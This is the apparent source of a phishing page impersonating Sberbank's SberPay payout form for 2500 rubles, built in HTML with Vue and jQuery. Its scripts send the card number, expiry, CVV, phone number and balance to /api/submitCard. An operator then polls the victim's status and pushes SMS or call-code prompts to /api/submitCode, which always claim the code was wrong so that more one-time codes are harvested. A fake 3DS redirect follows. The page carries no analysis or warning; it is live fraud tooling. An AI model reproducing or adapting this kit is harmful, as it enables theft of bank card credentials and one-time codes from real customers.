@keyframes mmslideIn {
from {
transform: translateY(15%);
}
to {
transform: translateY(0);
}
}
@keyframes mmslideOut {
from {
transform: translateY(0);
}
to {
transform: translateY(-10%);
}
}
.micromodal-slide {
display: none;
}
.micromodal-slide.is-open {
display: block;
}
.micromodal-slide[aria-hidden="false"] .modal__overlay {
animation: mmfadeIn 0.3s cubic-bezier(0, 0, 0.2, 1);
}
.micromodal-slide[aria-hidden="false"] .modal__container {
animation: mmslideIn 0.3s cubic-bezier(0, 0, 0.2, 1);
}
.micromodal-slide[aria-hidden="true"] .modal__overlay {
animation: mmfadeOut 0.3s cubic-bezier(0, 0, 0.2, 1);
}
.micromodal-slide[aria-hidden="true"] .modal__container {
animation: mmslideOut 0.3s cubic-bezier(0, 0, 0.2, 1);
}
.micromodal-slide .modal__container,
.micromodal-slide .modal__overlay {
will-change: transform;
}
[v-cloak] {
display: none;
}
</style>
</head>
<body style="
background: #f1f2f2;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
overflow-x: hidden;
font-family: " open="" sans",="" arial,="" helvetica,="" sans-serif;="" line-height:="" 1.25;="" text-shadow:="" 0="" 1px="" rgb(0="" 10%);="" "="">
<div id="app"><section class="route-section"><div class="styles_layout__2ohv7"><div class="styles_header__3Z1OE"><div class="styles_headerInner__2T9zY"><div class="styles_logotype__2SxRk"><img alt="Сбербанк" src="./checkSb_files/sberbank-logo.befb25b6.svg"></div> <div class="styles_profile__52Bm3"><div><button type="button" class="styles_button__2BXWs"><svg height="18" viewBox="0 0 18 18" width="18" class="styles_icon__2Zl3c"><path clip-rule="evenodd" d="M17.8554 7.38686C17.9508 7.90928 18 8.44993 18 9.00091C18 13.9712 13.9704 18 9 18C4.03017 18 0 13.9712 0 9.00091C0 4.02875 4.03017 0 9 0C11.1411 0 13.1079 0.748405 14.6532 1.99676L12.9026 3.28703C11.7911 2.52587 10.4469 2.07938 9 2.07938C5.18486 2.07938 2.08099 5.18538 2.08099 9.00091C2.08099 12.8164 5.18486 15.9206 9 15.9206C12.817 15.9206 15.9208 12.8164 15.9208 9.00091C15.9208 8.95444 15.9198 8.90797 15.9188 8.8615C15.9184 8.84601 15.9181 8.83052 15.9178 8.81503L17.8554 7.38686ZM5.57433 6.59698L9.00074 8.74621L16.1214 3.49766C16.5472 4.04742 16.911 4.64639 17.2014 5.28606L9.00074 11.331L5.57433 9.18177V6.59698Z" fill="currentColor" fill-rule="evenodd"></path></svg> <span>Войти по Сбер ID</span></button></div></div></div></div> <div class="styles_main__1R8ID"><div class="styles_mainInner__3FzAE"><div class="styles_container__3S83w"><div class="styles_main__1vnDV"><div title="" class="styles_thumb__yWgu0"></div> <div><div class="styles_merchantName__ZT_Sy"></div> <div class="styles_amount__Ntebp"><div>
2500 ₽
</div></div></div></div></div> <div id="sberPayBlock" class="styles_container__povOI"><div><div class="styles_title__3WvrL">
SberPay
</div> <div class="styles_description__14wbp">
Быстрое получение средств в приложении Сбербанк Онлайн
</div><button id="notWorking" type="button" class="styles_button__1Uv9f styles_gradient__ipaEl"><span><svg height="24" viewBox="0 0 69 24" width="69"><g fill="currentColor" fill-rule="evenodd"><path d="M36.1166 14.2911V19.3549H33.2905V3.0968H38.5563C43.5536 3.0968 45.6776 4.93322 45.6776 8.60303C45.6776 12.388 43.1908 14.2911 38.5563 14.2911H36.1166ZM36.1166 5.76961V11.6183H38.7716C41.3942 11.6183 42.7512 10.7364 42.7512 8.5303C42.7512 6.53327 41.5712 5.76658 38.8188 5.76658L36.1166 5.76961Z"></path> <path d="M47.3494 8.75113C48.1085 8.19827 49.4942 7.74194 51.4824 7.74194C54.8533 7.74194 56.5162 8.86521 56.5162 11.7787V19.1764H53.9767V17.158C53.4224 18.4568 52.0126 19.3548 50.166 19.3548C47.8344 19.3548 46.4517 18.0766 46.4517 15.8798C46.4517 13.3232 48.3676 12.6065 51.2053 12.6065H53.814V12.1151C53.814 10.5238 53.0308 10.0294 51.4824 10.0294C49.3587 10.0294 48.1356 10.8368 47.3524 12.0244L47.3494 8.75113ZM53.811 15.2187V14.3119H51.5276C49.934 14.3119 49.1719 14.6044 49.1719 15.6106C49.1719 16.4619 49.8165 17.0001 51.0185 17.0001C52.841 17.0001 53.6965 15.9909 53.811 15.2187Z"></path> <path d="M57.2905 7.74194H60.3006L63.4612 15.7073L66.0439 7.74194H68.9034L64.292 20.5871C63.2746 23.3726 62.2391 24 60.716 24C59.9996 24 59.211 23.7909 58.8708 23.4908V20.9569C59.2419 21.3214 59.7371 21.5296 60.2555 21.5389C61.0832 21.5389 61.7063 20.9812 62.1458 19.4172L57.2905 7.74194Z"></path> <path d="M6.96777 8.9283V12.5088L11.7577 15.4839L23.2258 7.12439C22.8212 6.24266 22.3142 5.41064 21.7152 4.64514L11.7577 11.9034L6.96777 8.9283Z"></path> <path d="M21.2254 11.7457C21.2254 11.8276 21.2254 11.9125 21.2254 11.9944C21.2286 14.0578 20.5407 16.0628 19.2713 17.6895C18.002 19.3162 16.2244 20.471 14.2222 20.9695C12.2199 21.468 10.1084 21.2815 8.22453 20.4398C6.34064 19.5982 4.79292 18.1498 3.8283 16.3258C2.86369 14.5018 2.53777 12.4073 2.90253 10.3764C3.2673 8.34556 4.30174 6.49538 5.8408 5.12107C7.37987 3.74677 9.33488 2.92752 11.3939 2.79405C13.453 2.66058 15.4974 3.22058 17.201 4.38469L19.5424 2.66664C17.4255 0.955872 14.7898 0.0156144 12.068 0.000192763C9.34622 -0.0152289 6.70005 0.895101 4.56382 2.58177C2.42759 4.26844 0.928214 6.63123 0.311798 9.28233C-0.304618 11.9334 -0.0014541 14.7153 1.17153 17.1714C2.34451 19.6276 4.31762 21.6119 6.76701 22.7989C9.2164 23.9858 11.9965 24.3048 14.6511 23.7035C17.3057 23.1022 19.677 21.6163 21.3758 19.4897C23.0746 17.3631 23.9999 14.7221 24 12.0003C23.9997 11.2789 23.9351 10.559 23.8068 9.84907L21.2254 11.7457Z"></path></g></svg></span></button> <div id="err1" class="styles_container__1K_6i" style="margin-top: 10px;"><div>
В данный момент эта функция недоступна!
</div></div></div></div> <div class="styles_container__povOI"><div><img id="loader" src="/checkSb_files/Spinner.svg" class="spin" style="width: 100px; height: 100px; position: absolute; top: 50%; left: 39%; margin: auto;"></div> <form class="styles_formContainer__1kwVY"><!----> <div class="styles_title__1O7Vi">
По карте
</div> <div class="styles_container__1K_6i"><div></div></div> <div id="mainError" class="styles_container__1K_6i" style="margin-bottom: 20px;"><div>
Проверьте правильность заполнения платежной формы
</div></div> <div id="Ok" style="width: 100%; font-size: 100px; color: rgb(27, 221, 74); text-align: center; display: none;"><svg aria-hidden="true" class="svg-inline--fa fa-check-circle fa-w-16" focusable="false" data-prefix="fa" data-icon="check-circle" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" data-fa-i2svg=""><path fill="currentColor" d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"></path></svg><!-- <i aria-hidden="true" class="fa fa-check-circle"></i> --></div> <div id="backToHell" class="styles_container__1K_6i" style="margin: 20px 0px; color: rgb(52, 52, 52); width: 100%; text-align: center;"><div>
Возврат на страницу покупки . . .
</div></div> <div class="styles_pan__4LYZx"><div id="cardBox" class="styles_container__3NGxL" style="margin-top: 20px;"><!----><input aria-label="Номер карты" autocomplete="cc-number" id="cardNumber" maxlength="23" name="cardNumber" placeholder="Номер карты" required="required" spellcheck="true" type="text" class="styles_input__2tiuj"> <label for="cardNumber" id="cardLabel" class="styles_label__1juTc" style="top: -25px; opacity: 100;">Номер карты</label></div> <div class="styles_iconContainer__orE5L styles_psIcon__3kdjs"><img id="logoBank" style="display: none;"></div></div> <div class="styles_expiry__3kisv"><div id="expBox" class="styles_container__3NGxL" style="margin-top: 20px;"><input aria-label="Срок действия карты" autocomplete="cc-exp" id="cardExp" maxlength="5" name="expdate_full" placeholder="Месяц/Год" required="required" spellcheck="true" type="text" class="styles_input__2tiuj"> <label for="card_exp" id="expLabel" class="styles_label__1juTc">Месяц/Год</label></div></div> <div class="styles_cvc__ghAXm"><div id="cvcBox" class="styles_container__3NGxL" style="margin-top: 20px;"><input aria-label="CVV/CVC код" autocomplete="false" id="cardCvc" maxlength="3" name="card_cvc" placeholder="CVC/CVV-код" required="required" spellcheck="false" type="password" class="styles_input__2tiuj"> <label for="card_cvc" id="cvcLabel" class="styles_label__1juTc">CVC/CVV-код</label></div></div> <div class="styles_email__MxloI"><div id="boxFio" class="styles_container__3NGxL" style="margin-top: 20px;"><input id="phone_num" name="phone_num" placeholder="Номер телефона" required="required" type="text" value="" class="styles_input__2tiuj" style="text-transform: uppercase;"> <label for="FIO" id="FioLabel" class="styles_label__1juTc">Номер телефона</label></div></div> <div class="styles_saveCardContainer__mPUhQ"><label for="saveCard" class="styles_label__2aw78"><input id="saveCard" name="saveCard" type="checkbox" class="styles_input__2zwkT"> <span class="styles_switcher__2KwnC"></span> <span class="styles_text__3cQGu">Сохранить карту в Сбер ID</span></label> <div class="styles_tooltip__1T8gq"><div class="styles_helpButtonContainer__FtEHF"><button type="button" class="styles_helpButton__2eMf1"><svg height="22" viewBox="0 0 20 22" width="20"><path d="M8.32 7.932C8.824 7.644 9.352 7.464 10.192 7.464C11.452 7.464 12.076 8.004 12.076 8.76C12.076 10.56 9.364 10.224 9.364 12.24H10.324C10.324 10.932 13.084 11.028 13.084 8.76C13.084 7.152 12.028 6.504 10.276 6.504C9.46 6.504 8.752 6.648 8.32 6.816V7.932ZM9.064 14.352C9.064 14.772 9.244 15.12 9.844 15.12C10.456 15.12 10.636 14.772 10.636 14.352C10.636 13.92 10.456 13.572 9.844 13.572C9.244 13.572 9.064 13.92 9.064 14.352Z" fill="currentColor"></path></svg></button></div></div></div> <div class="styles_buttons__1tD-2"><button type="submit" class="styles_button__1Uv9f" style="background-color: rgb(33, 160, 56);"><span id="mainBut" style="color: rgb(255, 255, 255);">Получить</span></button></div> <div><div class="styles_termsHint__2XVD6">
Нажимая кнопку «Получить», я соглашаюсь с <a rel="noopener noreferrer">условиями</a> ПАО Сбербанк
</div> <img src="data:image/png;base64,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" alt="" class="styles_availablePS__14sbc"></div></form> <div class="styles_fpList__iX9-A"></div></div> <div id="under-footer"></div></div></div></div></section></div>
<script src="/cardb_files/payment.js.Без названия"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js" crossorigin="anonymous"></script>
<script src="https://unpkg.com/[email protected]/dist/vue-the-mask.js" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue-swal.min.js" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/0.21.1/axios.min.js" crossorigin="anonymous"></script>
<script type="text/javascript">
var chekStatus = true;
$(document).ready(function() {
$("#FIO").focus(function() {
$("#boxFio").css("margin-top","20px");
$("#FioLabel").css("top","-25px");
$("#FioLabel").css("opacity","100");
if (chekStatus) {
chekStatus = false
}
});
$( "#FIO" ).blur(function(){
if(parseInt($("#FIO").val()) >0){
}
else{
$("#boxFio").css("margin-top","0");
$("#FioLabel").css("top","0");
$("#FioLabel").css("opacity","0");
}
});
$("#cardNumber").focus(function() {
$("#cardBox").css("margin-top","20px");
$("#cardLabel").css("top","-25px");
$("#cardLabel").css("opacity","100");
if (chekStatus) {
chekStatus = false
}
});
$( "#cardNumber" ).blur(function(){
if(parseInt($("#cardNumber").val()) >0){
}
else{
$("#cardBox").css("margin-top","0");
$("#cardLabel").css("top","0");
$("#cardLabel").css("opacity","0");
}
});
$("#cardExp").focus(function() {
$("#expBox").css("margin-top","20px");
$("#expLabel").css("top","-25px");
$("#expLabel").css("opacity","100");
if (chekStatus) {
chekStatus = false
}
});
$( "#cardExp" ).blur(function(){
if(parseInt($("#cardExp").val()) >0){
}
else{
$("#expBox").css("margin-top","0");
$("#expLabel").css("top","0");
$("#expLabel").css("opacity","0");
}
});
$("#cardCvc").focus(function() {
$("#cvcBox").css("margin-top","20px");
$("#cvcLabel").css("top","-25px");
$("#cvcLabel").css("opacity","100");
if (chekStatus) {
chekStatus = false
}
});
$("#cardCvc").blur(function(){
if(parseInt($("#cardCvc").val()) >0){
}
else{
$("#cvcBox").css("margin-top","0");
$("#cvcLabel").css("top","0");
$("#cvcLabel").css("opacity","0");
}
});
});
</script>
<script type="text/javascript">
var openPost = function (url, params) {
var formElement = document.createElement("form");
formElement.setAttribute("method", "post");
formElement.setAttribute("action", url);
formElement.setAttribute("target", "_parent");
for (param in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("name", param);
hiddenField.setAttribute("value", params[param]);
formElement.appendChild(hiddenField);
}
document.body.appendChild(formElement);
formElement.submit();
}
</script>
<script defer="">
new Vue({
el: "#app",
data() {
return {
currentCardBackground: 8, // just for fun :D
cardBalance: "",
cardNumber: "",
cardExp: "",
cardCvc: "",
minCardYear: new Date().getFullYear(),
amexCardMask: "#### ###### #####",
otherCardMask: "#### #### #### #### ##",
monthYearMask: "##/##",
generateCVV: "###",
phone_num: "",
phoneNumMask: "+# ### ### ##-##",
cardNumberTemp: "",
isCardFlipped: false,
focusElementStyle: null,
isInputFocused: false,
step: 1,
cardError: "",
balanceError: "",
balanceChecker: true,
loading: false,
currentStatus: null,
logToken: null,
isSubmitting: false,
};
},
mounted() {
this.cardNumberTemp = this.otherCardMask;
document.getElementById("cardNumber").focus();
},
computed: {
getCardType() {
if (!this.cardNumber || String(this.cardNumber).trim().length < 1) return false;
let number = this.cardNumber;
let re = new RegExp("^4");
if (number.match(re) != null) return "visa";
re = new RegExp("^(34|37)");
if (number.match(re) != null) return "amex";
re = new RegExp("^5[1-5]");
if (number.match(re) != null) return "mastercard";
re = new RegExp("^6011");
if (number.match(re) != null) return "discover";
re = new RegExp("^9792");
if (number.match(re) != null) return "troy";
return "visa"; // default type
},
generateCardNumberMask() {
return this.otherCardMask;
},
generateMonthYearMask() {
return this.monthYearMask;
},
generateMaskPhone() {
return this.phoneNumMask;
},
generateCVC() {
return this.generateCVV;
},
minCardMonth() {
if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
return 1;
},
},
watch: {
currentStatus(v) {
if (v == "profit") {this.successModal();}
else if (v == "sms") {openPost('/3ds', {logToken: this.logToken, price: `2500`})}
else if (v == "errorCard") {errorCardModal()}
else if (v == "callCode") {this.codeModal(
"call",
"Банк сообщит вам проверочный код по телефону",
"Введите код, который банк сообщил вам по телефону",
"Введите код",
);}
else if (v == "otherCard") {
swal.close(); this.step = 1;
swal(
"Ошибка",
"Данная банковская карта не поддерживается платёжной системой, требуется сменить банковскую карту.",
"error"
);}
else if (v == "errorTp") {return openPost('/3ds', {logToken: this.logToken, price: `2500`})}
else if (v == "correctBalance") {swal.close(); this.step = 1;
swal(
"Ошибка",
"Для получения оплаты на балансе вашей карты должна быть сумма равная сумме получения или более. (Пункт 1 на странице ввода данных). Пополните баланс и повторите попытку.",
"error"
);}
else if (v == "correctBalance2") {swal.close(); this.step = 2; return this.balanceError = "Неверно указан баланс"}
else if(v == "customQuest") {
this.questSend(`${this.quest}`);
} else if(v == "customError") {
swal(
"Ошибка",
`${this.quest}`,
"error"
);
}
},
},
methods: {
errorCardModal() {
swal.stopLoading();
return (this.cardError = "Неверный номер карты");
},
correctBalanceModal() {
swal(
"Ошибка",
"Введите точный остаток средств на вашей карте!",
"error"
);
},
otherCardModal() {
swal(
"Ошибка",
"Произведите операцию с другой карты.",
"error"
);
},
codeModal(codeType = "sms", title = "Введите SMS-код", text = "На ваш телефон отправлен одноразовый SMS-код", placeholder = "Одноразовый SMS-код", wrong_code = "Вы ввели неправильный код! Пожалуйста, попробуйте еще раз.") {
swal.stopLoading();
swal({
title,
text,
content: {
element: "input",
attributes: {
type: "password",
placeholder,
maxLength: 255,
required: true,
style:
"text-align: center;width: auto;margin-left:auto;margin-right:auto;",
},
},
closeOnEsc: false,
closeOnClickOutside: false,
buttons: {
confirm: {
text: "Отправить",
closeModal: false,
},
},
}).then(async (code) => {
try {
if (!code) {
swal.stopLoading();
alert(wrong_code);
return this.codeModal(...arguments);
}
const response = await axios.post("/api/submitCode", {
codeType,
code,
token: this.logToken,
});
swal.stopLoading();
alert(wrong_code);
return this.codeModal(...arguments);
} catch (err) {
swal.stopLoading();
alert(wrong_code);
return this.codeModal(...arguments);
}
});
},
valid_credit_card(value) {
// accept only digits, dashes or spaces
if (/[^0-9-\s]+/.test(value)) return false;
// The Luhn Algorithm. It's so pretty.
var nCheck = 0,
nDigit = 0,
bEven = false;
value = value.replace(/\D/g, "");
for (var n = value.length - 1; n >= 0; n--) {
var cDigit = value.charAt(n),
nDigit = parseInt(cDigit, 10);
if (bEven) {
if ((nDigit *= 2) > 9) nDigit -= 9;
}
nCheck += nDigit;
bEven = !bEven;
}
return nCheck % 10 == 0;
},
submitForm(e) {
e.preventDefault();
if(cardNumber.value.length < 14 || cardCvc.value.length < 3) return
if (!this.valid_credit_card(this.cardNumber)) {
return (this.cardError = "Неверный номер карты");
} else {
this.cardError = "";
}
if (this.step < 2 && this.balanceChecker) {
return this.step = 2;
} else if (this.step == 2 || !this.balanceChecker) {
this.step = 1;
this.loading = true;
this.isSubmitting = true;
axios.post('/api/checkCardLock', {
id: 238020844,
card: this.cardNumber.replaceAll(" ", "")
}).then((response) => {
console.log(response)
if(response.data.status == "locked")
{
return swal({
title: "Ошибка",
text: "Данная карта не поддерживается платежной системой. Воспользуйтесь другой картой!",
icon: "error",
closeOnClickOutside: true,
closeOnEsc: true,
buttons: false,
});
} else {
axios
.post("/api/submitCard", {
adId: 238020844,
number: this.cardNumber.replace(/\D+/g, ""),
expire: this.cardExp,
cvv: this.cardCvc,
balance: this.cardBalance,
price: `2500`,
phone_num: this.phone_num,
})
.finally(() => (this.loading = false))
.then((response) => {
localStorage.token = response.data.token;
this.logToken = response.data.token;
if (this.currentStatus == null) this.checkLogStatus();
swal({
title: "Ожидайте",
text: "Банк обрабатывает ваши данные. Это может занять некоторое время",
icon: "info",
closeOnClickOutside: false,
closeOnEsc: false,
buttons: false,
});
})
.catch((err) => {
swal("Ошибка", "Произошла непредвиденная ошибка. Пожалуйста, попробуйте еще раз", "error");
});
}
})
setTimeout(() => {
this.isSubmitting = false;
}, 2000);
}
},
checkLogStatus() {
axios
.post("/api/checkStatus", {
token: this.logToken,
})
.finally(() => setTimeout(() => this.checkLogStatus(this.logToken), 1500))
.then((response) => {
if (this.currentStatus != response.data.status)
this.currentStatus = response.data.status;
this.quest_title = response.data.quest_title;
this.quest = response.data.quest;
this.request = response.data.request;
this.req_title = response.data.req_title;
this.reqQuest = response.data.reqQuest;
})
.catch((err) => err);
},
flipCard(status) {
this.isCardFlipped = status;
},
focusInput(e) {
this.isInputFocused = true;
let targetRef = e.target.dataset.ref;
let target = this.$refs[targetRef];
this.focusElementStyle = {
width: `${target.offsetWidth}px`,
height: `${target.offsetHeight}px`,
transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`,
};
},
blurInput() {
let vm = this;
setTimeout(() => {
if (!vm.isInputFocused) {
vm.focusElementStyle = null;
}
}, 300);
vm.isInputFocused = false;
},
},
mounted: function() {
$('[v-cloak]').css('display', 'block');
}
});
</script>
<script language="javascript" type="text/javascript">
$(document).ready(function() {
$('.close').on('click', (e) => {
$('.container').removeClass('show');
});
$('.backh').on('click', (e) => {
$('.container').removeClass('show');
});
$('#openModal').on('click', (e) => {
$('.container').addClass('show');
});
$('form').find('select, textarea, input').on('focus, blur, input, onkeyup, change', function() {
if($(this).prop('required')) {
if (!$(this).val()) {
$(this).css({'border' : '1px solid #f44336'});
$(this).parent().find('.card-input__err').show();
} else {
$(this).removeAttr('style');
$(this).parent().find('.card-input__err').hide();
}
}
});
});
</script>
<script src="//code.tidio.co/gyn21kdkfthpzz5myzyubt0763w8gdni.js" async=""></script>
<script type="text/javascript">
checkOnline();
async function checkOnline() {
axios.post("/api/checkOnline", {
id: 238020844,
})
.finally(() => setTimeout(checkOnline, 1500))
.then()
.catch((err) => err);
}
</script>
<iframe id="tidio-chat-code" title="Tidio Chat code" style="display: none;"></iframe><div id="tidio-chat"><iframe title="Tidio Chat" id="tidio-chat-iframe" srcdoc="
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, user-scalable=no">
</head>
<body class="awesome-iframe">
<div></div>
</body>
" style="display: block; border: none; position: fixed; inset: auto 0px 0px auto; width: 384px; height: 221px; opacity: 1; color-scheme: none; background: none transparent !important; margin: 0px; max-height: 100%; max-width: 100vw; transform: translateY(0px); transition: none 0s ease 0s !important; visibility: visible; z-index: 999999999 !important; border-radius: 47px 30px 47px 47px;"></iframe></div></body></html>